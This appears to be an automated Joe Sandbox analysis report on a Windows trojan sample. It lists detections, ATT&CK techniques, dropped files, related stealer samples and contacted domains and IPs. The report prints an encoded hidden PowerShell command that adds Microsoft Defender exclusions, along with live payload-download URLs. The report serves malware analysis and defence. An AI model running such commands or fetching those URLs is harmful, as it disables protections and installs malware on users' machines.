Source: Yara match	File source: 00000003.00000002.1869188121.0000000004C76000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1830742150.000000000B070000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1767868411.0000000004378000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3019858995.0000000004058000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1767868411.0000000005266000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1841950156.00000000032A9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1790879005.0000000007CB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7600, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: TypeId.exe PID: 7764, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 8028, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	131 Windows Management Instrumentation	11 Scheduled Task/Job	1 Access Token Manipulation	1 Masquerading	OS Credential Dumping	321 Security Software Discovery	Remote Services	11 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	211 Process Injection	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	11 Scheduled Task/Job	Logon Script (Windows)	11 Scheduled Task/Job	141 Virtualization/Sandbox Evasion	Security Account Manager	141 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 PowerShell	Login Hook	1 DLL Side-Loading	1 Access Token Manipulation	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	211 Process Injection	LSA Secrets	123 System Information Discovery	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Deobfuscate/Decode Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	2 Software Packing	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	13%	ReversingLabs	Win32.Trojan.Barys
file.exe	39%	Virustotal		Browse
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	13%	ReversingLabs	Win32.Trojan.Barys

Source	Detection	Scanner	Label
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://f.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farm/don2-m/Dllzeadr.pdf	0%	Avira URL Cloud	safe
https://stackoverflow.com/q/14436606/23354	0%	Avira URL Cloud	safe
http://f.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farm	0%	Avira URL Cloud	safe
https://github.com/mgravell/protobuf-net	0%	Avira URL Cloud	safe
https://ion=v4.5T	0%	Avira URL Cloud	safe
https://f.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farm/don2/Qlxywcbxa.mp4	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester	0%	Avira URL Cloud	safe
http://www.microsoft.	0%	Avira URL Cloud	safe
https://f.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farm/don2-m/kr/Wudbi	0%	Avira URL Cloud	safe
http://schemas.microso	0%	Avira URL Cloud	safe
http://crl.m	0%	Avira URL Cloud	safe
https://stackoverflow.com/q/11564914/23354;	0%	Avira URL Cloud	safe
https://github.com/mgravell/protobuf-neti	0%	Avira URL Cloud	safe
http://f.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farm8	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/wsdl/	0%	Avira URL Cloud	safe
https://f.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.	0%	Avira URL Cloud	safe
https://stackoverflow.com/q/2152978/23354	0%	Avira URL Cloud	safe
https://f.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farm/don2-m/kr/Wudbiu.exe	0%	Avira URL Cloud	safe
https://f.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farm	0%	Avira URL Cloud	safe
http://schemas.microsoft	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
f.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farm	188.114.96.3	true	true		unknown
1.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farm	77.221.140.76	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://f.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farm/don2-m/Dllzeadr.pdf	true	Avira URL Cloud: safe	unknown
https://f.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farm/don2/Qlxywcbxa.mp4	true	Avira URL Cloud: safe	unknown
https://f.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farm/don2-m/kr/Wudbiu.exe	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000001.00000002.2289203789.00000182C7537000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2273124397.0000021126CA8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://f.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farm	InstallUtil.exe, 00000004.00000002.2976520133.00000000033C9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://stackoverflow.com/q/14436606/23354	file.exe, 00000000.00000002.1790879005.00000000083C0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1767868411.000000000459C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1785706737.0000000006E10000.00000004.08000000.00040000.00000000.sdmp, file.exe, 00000000.00000002.1824447213.0000000009EB1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1763526633.0000000003526000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1841950156.0000000003170000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1869188121.00000000047F2000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1869188121.0000000004C76000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2976520133.0000000003200000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.3095261684.00000000076D6000.00000004.00000800.00020000.00000000.sdmp, txxbiwtbs.exe, 0000000B.00000002.2048354854.0000000003F2D000.00000004.00000800.00020000.00000000.sdmp, txxbiwtbs.exe, 0000000B.00000002.1995844689.0000000002A00000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/mgravell/protobuf-netJ	file.exe, 00000000.00000002.1790879005.00000000083C0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1767868411.000000000459C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1785706737.0000000006E10000.00000004.08000000.00040000.00000000.sdmp, file.exe, 00000000.00000002.1824447213.0000000009EB1000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1869188121.00000000047F2000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1869188121.0000000004C76000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.3095261684.00000000076D6000.00000004.00000800.00020000.00000000.sdmp, txxbiwtbs.exe, 0000000B.00000002.2048354854.0000000003F2D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000006.00000002.1908721371.0000021116E58000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000001.00000002.1923913361.00000182B76E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1908721371.0000021116E58000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000006.00000002.1908721371.0000021116E58000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 00000006.00000002.2273124397.0000021126CA8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000006.00000002.2273124397.0000021126CA8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/mgravell/protobuf-net	file.exe, 00000000.00000002.1790879005.00000000083C0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1767868411.000000000459C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1785706737.0000000006E10000.00000004.08000000.00040000.00000000.sdmp, file.exe, 00000000.00000002.1824447213.0000000009EB1000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1869188121.00000000047F2000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1869188121.0000000004C76000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.3095261684.00000000076D6000.00000004.00000800.00020000.00000000.sdmp, txxbiwtbs.exe, 0000000B.00000002.2048354854.0000000003F2D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.microsoft.	powershell.exe, 00000006.00000002.2347588371.000002112F32A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ion=v4.5T	powershell.exe, 00000001.00000002.2345847023.00000182CF8C6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000006.00000002.1908721371.0000021116E58000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.microso	file.exe, 00000000.00000002.1789639440.0000000007729000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://f.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farm/don2-m/kr/Wudbi	InstallUtil.exe, 00000004.00000002.2976520133.00000000033B4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.m	powershell.exe, 00000001.00000002.2345847023.00000182CF8C6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/mgravell/protobuf-neti	file.exe, 00000000.00000002.1790879005.00000000083C0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1767868411.000000000459C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1785706737.0000000006E10000.00000004.08000000.00040000.00000000.sdmp, file.exe, 00000000.00000002.1824447213.0000000009EB1000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1869188121.00000000047F2000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1869188121.0000000004C76000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.3095261684.00000000076D6000.00000004.00000800.00020000.00000000.sdmp, txxbiwtbs.exe, 0000000B.00000002.2048354854.0000000003F2D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://stackoverflow.com/q/11564914/23354;	file.exe, 00000000.00000002.1790879005.00000000083C0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1767868411.000000000459C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1785706737.0000000006E10000.00000004.08000000.00040000.00000000.sdmp, file.exe, 00000000.00000002.1824447213.0000000009EB1000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1869188121.00000000047F2000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1869188121.0000000004C76000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.3095261684.00000000076D6000.00000004.00000800.00020000.00000000.sdmp, txxbiwtbs.exe, 0000000B.00000002.2048354854.0000000003F2D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://stackoverflow.com/q/2152978/23354	file.exe, 00000000.00000002.1790879005.00000000083C0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1767868411.000000000459C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1785706737.0000000006E10000.00000004.08000000.00040000.00000000.sdmp, file.exe, 00000000.00000002.1824447213.0000000009EB1000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1869188121.00000000047F2000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1869188121.0000000004C76000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.3095261684.00000000076D6000.00000004.00000800.00020000.00000000.sdmp, txxbiwtbs.exe, 0000000B.00000002.2048354854.0000000003F2D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000001.00000002.1923913361.00000182B76E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1908721371.0000021116E58000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000006.00000002.2273124397.0000021126CA8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000001.00000002.2289203789.00000182C7537000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2273124397.0000021126CA8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000001.00000002.1923913361.00000182B74C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1908721371.0000021116C31000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://f.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farm8	InstallUtil.exe, 00000004.00000002.2976520133.00000000033C9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	file.exe, 00000000.00000002.1763526633.0000000003371000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1923913361.00000182B74C1000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1841950156.0000000003121000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2976520133.0000000003051000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1908721371.0000021116C31000.00000004.00000800.00020000.00000000.sdmp, txxbiwtbs.exe, 0000000B.00000002.1995844689.0000000002851000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://f.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.	InstallUtil.exe, 00000004.00000002.2976520133.00000000033B4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://f.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farm	file.exe, 00000000.00000002.1763526633.0000000003371000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1841950156.0000000003121000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2976520133.00000000033B4000.00000004.00000800.00020000.00000000.sdmp, txxbiwtbs.exe, 0000000B.00000002.1995844689.0000000002851000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.microsoft	file.exe, 00000000.00000002.1788650172.0000000007287000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.96.3	f.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farm	European Union		13335	CLOUDFLARENETUS	true
77.221.140.76	1.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farm	Russian Federation		30968	INFOBOX-ASInfoboxruAutonomousSystemRU	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1458397
Start date and time:	2024-06-17 16:17:45 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@9/15@2/2
EGA Information:	Successful, ratio: 60%
HCA Information:	Successful, ratio: 87% Number of executed functions: 620 Number of non-executed functions: 18
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target TypeId.exe, PID 7764 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7748 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
10:18:40	API Interceptor	20x Sleep call for process: file.exe modified
10:18:45	API Interceptor	19x Sleep call for process: TypeId.exe modified
10:18:48	API Interceptor	60x Sleep call for process: powershell.exe modified
10:18:52	API Interceptor	1639331x Sleep call for process: InstallUtil.exe modified
10:19:02	API Interceptor	21x Sleep call for process: txxbiwtbs.exe modified
15:18:45	Task Scheduler	Run new task: lfuhpl path: powershell.exe s>-ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAVAB5AHAAZQBJAGQALgBlAHgAZQA7AA==
15:18:45	Task Scheduler	Run new task: TypeId path: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe
15:18:53	Task Scheduler	Run new task: qugwjz path: powershell.exe s>-ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAVAB5AHAAZQBJAGQALgBlAHgAZQA7AA==
15:19:02	Task Scheduler	Run new task: txxbiwtbs path: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.96.3	QUOTATION_JUNQTRA031244#U00faPDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	filetransfer.io/data-package/UEtfXbb3/download
	Purchase Order# PDF MARKLPO14701202427-pdf.ex.exe	Get hash	malicious	Lokibot	Browse	ulysse-cazabonne.cam/PWS/fre.php
	Swift Copy.exe	Get hash	malicious	FormBook	Browse	www.fashionchc.com/ss63/?qN6tOZ=nfuxZlt&qtxtIX=rYs4anQX5KEgFBRPbbidx4YvYV9qv4HDv1NGkITX2nB2+KCeJbSF3HC6qQ7ziyPNw/Vd
	KOSTCO OFFER REF 440724.scr.exe	Get hash	malicious	FormBook	Browse	www.oc7o0.top/2zff/?nXTD=4L8xoD0W4Zo4sy87CvwWXXlmZfhaBYNiZZOBxyE5jHDJEgkxN8cq+PG6NIXzy1XRCqQIvL5VyJCknvUNNLKk9zzmBcbcPh57bL8iB8+55mIfuxY7UA==&v4Y0s=ax58AbrX
	QUOTATION_MAYQTRA031244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/X0dwT8Se/download
	Purchase Order -JJ023639#U00faPDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	filetransfer.io/data-package/TL6dGYm0/download
	Purchase Order No.P7696#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/zxRn8bJ1/download
	QUOTATION_MAYQTRA031244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/SchiOgrd/download
	Purchase Order No.JP67691#U00faPDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	filetransfer.io/data-package/YQp5xKfi/download
	QUOTATION_MAYQTRA031244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/6oFUrX9q/download
77.221.140.76	file.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse
	file.exe	Get hash	malicious	PureLog Stealer	Browse
	SecuriteInfo.com.W32.MSIL_Kryptik.KHA.gen.Eldorado.9663.18711.exe	Get hash	malicious	PureLog Stealer	Browse
	file.exe	Get hash	malicious	PureLog Stealer	Browse
	file.exe	Get hash	malicious	PureLog Stealer	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farm	file.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	77.221.140.76
	file.exe	Get hash	malicious	PureLog Stealer	Browse	77.221.140.76
	SecuriteInfo.com.W32.MSIL_Kryptik.KHA.gen.Eldorado.9663.18711.exe	Get hash	malicious	PureLog Stealer	Browse	77.221.140.76
	file.exe	Get hash	malicious	PureLog Stealer	Browse	77.221.140.76
	file.exe	Get hash	malicious	PureLog Stealer	Browse	77.221.140.76

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://www.wiley-epic.com/	Get hash	malicious	Unknown	Browse	172.64.144.99
	https://www.wiley-epic.com/default.aspx?ac=2T5R8M7L3D	Get hash	malicious	Unknown	Browse	172.64.144.99
	file.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse	188.114.96.3
	scanned file.exe	Get hash	malicious	FormBook	Browse	104.21.34.155
	Solicitud de Pedidos.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	http://visit.keznews.com	Get hash	malicious	Unknown	Browse	104.22.41.120
	SWIFT COPY.exe	Get hash	malicious	FormBook	Browse	172.65.169.30
	TT-SWIFT-Schindler.exe	Get hash	malicious	FormBook	Browse	172.67.168.46
	GoAutomateScannerInstaller.msi	Get hash	malicious	Unknown	Browse	1.1.1.1
	20240600EFT002.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
INFOBOX-ASInfoboxruAutonomousSystemRU	file.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	77.221.140.76
	file.exe	Get hash	malicious	PureLog Stealer	Browse	77.221.140.76
	SecuriteInfo.com.Win64.MalwareX-gen.13147.14133.exe	Get hash	malicious	Unknown	Browse	77.221.159.5
	SecuriteInfo.com.Win64.MalwareX-gen.13147.14133.exe	Get hash	malicious	Unknown	Browse	77.221.159.5
	SecuriteInfo.com.W32.MSIL_Kryptik.KHA.gen.Eldorado.9663.18711.exe	Get hash	malicious	PureLog Stealer	Browse	77.221.140.76
	file.exe	Get hash	malicious	PureLog Stealer	Browse	77.221.140.76
	file.exe	Get hash	malicious	PureLog Stealer	Browse	77.221.140.76
	SJsixjA7G2.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	109.120.177.48
	6tJtH22I7a.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, Stealc	Browse	77.221.151.47
	file.exe	Get hash	malicious	Xmrig	Browse	77.221.151.47

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Solicitud de Pedidos.exe	Get hash	malicious	AgentTesla	Browse	188.114.96.3
	Sale Invoice.exe	Get hash	malicious	AgentTesla	Browse	188.114.96.3
	20240600EFT002.exe	Get hash	malicious	AgentTesla	Browse	188.114.96.3
	filesno5670023475729374.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	188.114.96.3
	M0000B Requisition form.pdf.exe	Get hash	malicious	AgentTesla	Browse	188.114.96.3
	Detalles Ducumentados______________pif.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	188.114.96.3
	0xkcWr1hvs.exe	Get hash	malicious	DCRat	Browse	188.114.96.3
	QUOTATION_JUNQTRA031244#U00faPDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	188.114.96.3
	PO-070723-WA0002.exe	Get hash	malicious	AgentTesla	Browse	188.114.96.3
	https://olivine-geode-arrow.glitch.me	Get hash	malicious	Unknown	Browse	188.114.96.3

